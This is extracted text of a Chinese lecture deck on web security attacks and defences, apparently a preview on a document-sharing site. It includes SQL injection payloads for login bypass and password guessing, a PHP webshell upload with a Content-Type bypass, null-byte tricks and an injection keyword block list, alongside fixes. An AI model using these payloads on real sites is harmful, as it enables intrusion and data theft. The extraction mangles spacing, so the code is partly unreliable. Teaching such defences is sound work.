WEB Security-WEB安全入侵與防御講課_第1頁
WEB Security-WEB安全入侵與防御講課_第2頁
WEB Security-WEB安全入侵與防御講課_第3頁
WEB Security-WEB安全入侵與防御講課_第4頁
WEB Security-WEB安全入侵與防御講課_第5頁
已閱讀5頁,還剩38頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

WEB安全ID:HolmesianEmail:Website:1接下來我們將交流……什么是WEB安全?安全事件會帶來什么危害?最流行的WEB攻擊方式有哪些?如何抵御常見的WEB攻擊?怎樣設計安全的WEB程序?2什么是網站安全345什么是webshellwebshell就是一個asp或php木馬后門,黑客在入侵了一個網站后,常常在將這些asp或php木馬后門文件放置在網站服務器的web目錄中,與正常的網頁文件混在一起。然后黑客就可以用web的方式,通過asp或php木馬后門控制網站服務器,包括上傳下載文件、查看數據庫、執行任意程序命令等。webshell最大的優點就是可以穿越防火墻,由于與被控制的服務器或遠程主機交換的數據都是通過80端口傳遞的,因此不會被防火墻攔截。并且使用webshell一般不會在系統日志中留下記錄,只會在網站的web日志中留下一些數據提交記錄,沒有經驗的管理員是很難看出入侵痕跡的。6WebShell789常見WEB應用存在的漏洞SQL注入漏洞(SQLInjection)跨站腳本漏洞(XSS)遠程包含漏洞文件上傳漏洞Cookie被盜用及偽造后門和調試漏洞邏輯錯誤和配置問題旁注攻擊監聽(未加密的請求)1011SQLInjection技術概述就攻擊技術本質而言,它利用的工具是SQL的語法,針對的是應用程序開發者編程中的漏洞,當攻擊者能操作數據,向應用程序中插入一些SQL語句時,SQLInjection攻擊就發生了。實際上,SQLInjection攻擊是存在于常見的多連接的應用程序中的一種漏洞,攻擊者通過在應用程序預先定義好的SQL語句結尾加上額外的SQL語句元素,欺騙數據庫服務器執行非授權的任意查詢,篡改和命令執行。就風險而言,SQLInjection攻擊也是位居前列,和緩沖區溢出漏洞相比,其優勢在于能夠輕易的繞過防火墻直接訪問數據庫,甚至能夠獲得數據庫所在的服務器的系統權限。在Web應用漏洞中,SQLInjection漏洞的風險要高過其他所有的漏洞。安全風險12經典的SQLInjection漏洞dimrsadmin1=request("admin")password1=request("password")setrs=server.CreateObject("ADODB.RecordSet")rs.open"select*fromadminwhereadmin='"&admin1&"'andpassword='"&password1&"'",conn,1ifrs.eofandrs.bofthenresponse.write"<SCRIPTlanguage=JavaScript>alert('用戶名或密碼不正確!');"response.write"javascript:history.go(-1)</SCRIPT>"response.endelsesession("admin")=rs("admin")session("password")=rs("password")session("aleave")=rs("aleave")response.redirect"admin.asp"endifrs.closesetrs=nothing13SQLInjection產生原因在用戶名和密碼都填入'or''='SQL語句被構造成 select*fromadminwhereadmin=‘'OR‘'=‘'

and

password=‘'OR‘'=‘‘SQL語句的實際意思變為admin為空或者空等于空,password為空或者空等于空的時候整個查詢語句就為真。14SQLInjection利用發現注入點(and1=2、and1=1、'……)判斷數據庫類型(ACCESS、MYSQL、MSSQL……)利用數據庫特性獲得權限(MSSQL、Oracle……)構造語句猜解表名、字段名、敏感內容查找后臺登陸地址、使用得到的密碼成功登陸15SQLInjection實例and1=1and1=2andexists(select*fromadminwhere1=1andlen(password)=13andid=(Selectmax(id)Fromadminwhereidin(selecttop1idfromadminOrderbyid)))andexists(select*fromadminwhere1=1andasc(mid(cstr(password),1,1))between30and80andid=(Selectmax(id)Fromadminwhereidin(selecttop1idfromadminOrderbyid)))[62839-23922=38917|3141]16PHPSQLInjection判斷是否存在注入,加';and1=1;and1=2判斷版本andord(mid(version(),1,1))>51/*返回正常說明是4.0以上版本,可以用union查詢利用orderby暴字段,在網址后加orderby10/*如果返回正常說明字段大于10再利用union來查詢準確字段,如:and1=2unionselect1,2,3,......./*直到返回正常,說明猜到準確字段數。如過濾了空格可以用/**/代替。判斷數據庫連接帳號有沒有寫權限,and(selectcount(*)frommysql.user)>0/*如果結果返回錯誤,那我們只能猜解管理員帳號和密碼了。17修補SQLInjection漏洞在服務端正式處理之前對提交數據的合法性進行檢查;封裝客戶端提交信息;替換或刪除敏感字符/字符串;()屏蔽出錯信息。18一個通用防注入的函數DimTc_Post,Tc_Get,Tc_In,Tc_Inf,Tc_Xh '定義需要過濾的字串Tc_In="'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|or|char|declare"Tc_Inf=split(Tc_In,"|")'處理post數據IfRequest.Form<>""ThenForEachTc_PostInRequest.FormForTc_Xh=0ToUbound(Tc_Inf)IfInstr(LCase(Request.Form(Tc_Post)),Tc_Inf(Tc_Xh))<>0ThenResponse.Write"<ScriptLanguage=JavaScript>alert('請不要在參數中包含非法字符嘗試注入!');</Script>"'處理get數據IfRequest.QueryString<>""ThenForEachTc_GetInRequest.QueryStringForTc_Xh=0ToUbound(Tc_Inf)IfInstr(LCase(Request.QueryString(Tc_Get)),Tc_Inf(Tc_Xh))<>0ThenResponse.Write"<ScriptLanguage=JavaScript>alert('請不要在參數中包含非法字符嘗試注入!');</Script>"19跨站腳本攻擊Crosssitescripting簡稱XSS原理:由于WEB應用程序沒有對用戶的輸入和輸出進行嚴格的過濾和轉換,就導致在返回頁面中可能嵌入惡意代碼。數據流程:

惡意用戶的Html輸入—>web程序—>進入數據庫—>web程序—>用戶瀏覽器80%網站存在跨站漏洞,包括許多大型知名網站!

20XSS的危害掛馬插入惡意的腳本內容,運行病毒、木馬。釣魚篡改網頁內容,騙取賬號、密碼等詐騙行為。劫持會話讀取會話COOKIE,傳送給第三方劫持身份。XSSWorm使用AJAX技術,做幾何趨勢的增長傳播。21XSS實例1(document.cookie)%3E%3C%22/x/39/y/10/22XSS實例223跨站蠕蟲流程圖劫持會話記錄會話模擬登錄發送xss給好友刪除個人信息24XSS的防御之道永遠不要相信客戶端提交的任何數據?。。?1、服務器端永遠不使用未驗證的客戶端數據。GET、POST、Cookies、URL、HTTP

Header、IP… 2、服務器永遠不對外展示任何未驗證的客戶端數據。25遠程文件包含漏洞<?phpinclude"{$_GET['path']}/header.inc";?>在這種情形下攻擊者能操縱不只是文件名,還能控制所包含的資源。由于PHP默認不只可以包含文件,還可以包含下面的資源(由配置文件中的allow_url_fopen所控制):<?phpinclude'';?>26遠程文件包含實例phpwind較高版本論壇中存在一個嚴重的漏洞,成功利用該漏洞可以遠程執行任意php代碼pw_ajax.php中的}elseif($action=='pcdelimg'){ InitGP(array('fieldname','pctype')); InitGP(array('tid','id'),2); if(!$tid||!$id||!$fieldname||!$pctype){ echo'fail'; } $id=(int)$id; if($pctype=='topic'){ $tablename=GetTopcitable($id); }elseif($pctype=='postcate'){ $tablename=GetPcatetable($id); } $path=$db->get_value("SELECT$fieldnameFROM$tablenameWHEREtid=".pwEscape($tid));fieldname未經任何有效的過濾(全局的一些其他的比較搞笑看起來不錯的過濾對這里不起任何安全上的意義,只是對漏洞利用帶來了一些難度),利用該注射可以獲取任何數據庫里的數據。27Register_Globals很久很久以前,PHP程序員通過“registerglobals”(全局變量注冊)機制讀取用戶提供的數據。在這種情形下,所有提交給一個腳本的參數都以一個與參數同名的變量的形式出現。例如,URL:script.php?foo=bar會創建一個值為bar的變量$foo。<?phpecho$foo;?>輸出:bar使用未初始化的變量幾乎就意味著安全漏洞!28文件上傳漏洞僅本地javascript安全控制檢測文件格式類型程序通過

的值來判斷用戶上傳的文件類型空字節繞過Content-type判斷Win2k3文件名解析漏洞:當文件名為x.asp;x.jpg時,IIS會以ASP格式解析,x.php;x.jpg會以PHP解析。早期版本php的uploaded_file函數存在安全問題,遇到二進制0x00就會認為數據結束了:\1.php.jpg->1.php.jpg:\1.php0x00.jpg->1.php上傳后綴為.jpg的網頁文件,IE會當作正常的網頁一樣解析。29空字節繞過上傳<?phpif($_FILES['userfile']['type']!="image/gif"){echo"Sorry,weonlyallowuploadingGIFimages";exit;}Content-Disposition:form-data;name="userfile";"shell.php"Content-Type:image/gif<?phpsystem($_GET['command']);?>30文件上傳漏洞防止上傳目錄禁止php執行權限php程序目錄禁止www用戶寫入權限文件目錄權限最小化原則圖片上傳之后用php中的gd庫判斷一下強制圖片后綴名31Cookies問題明文cookie加密串替換

例如:某系統cookie信息如下

user=!#$@@;ugroup=#$%$$登陸test得到的cookies

entname=unsearch;

enid=p]0i7L60T8L6LLl0i7;

企業IDusername=p]0T677L7kTLaMM080l0;hpeid=p]0i7L60T8L6LLl0i7;einfo=C2IsSyY6E3V-LoVa2z43Zp6DYx6Cpxe_1xfdYyfcBmgczyfNOy4_HCU-Y0ic1-fcP0eCl;qta=200

32Cookies利用直接訪問本應受限的URL

要確保在每個請求中都要包含會話表示,授權檢查是每個應用程序的責任,而不僅僅是登陸程序的偽造Cookies,偽裝身份在用戶名和密碼中輸入1or1=1的語句來繞過程序的檢查利用密碼保護來修改密碼(社會工程學)33驗證碼問題34配置不當導致的問題Apache、IIS、Nginx等WEB服務配置不當管理頁面META信息設置不當被Google抓取MYSQL、MSSQL等數據庫服務設置不當導致被遠程抓取數據庫查詢連接未及時釋放導致的資源死鎖問題sbwait狀態35GoogleHackingGoogleHacking是一種利用搜索引擎獲取web應用程序弱點和敏感信息的

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論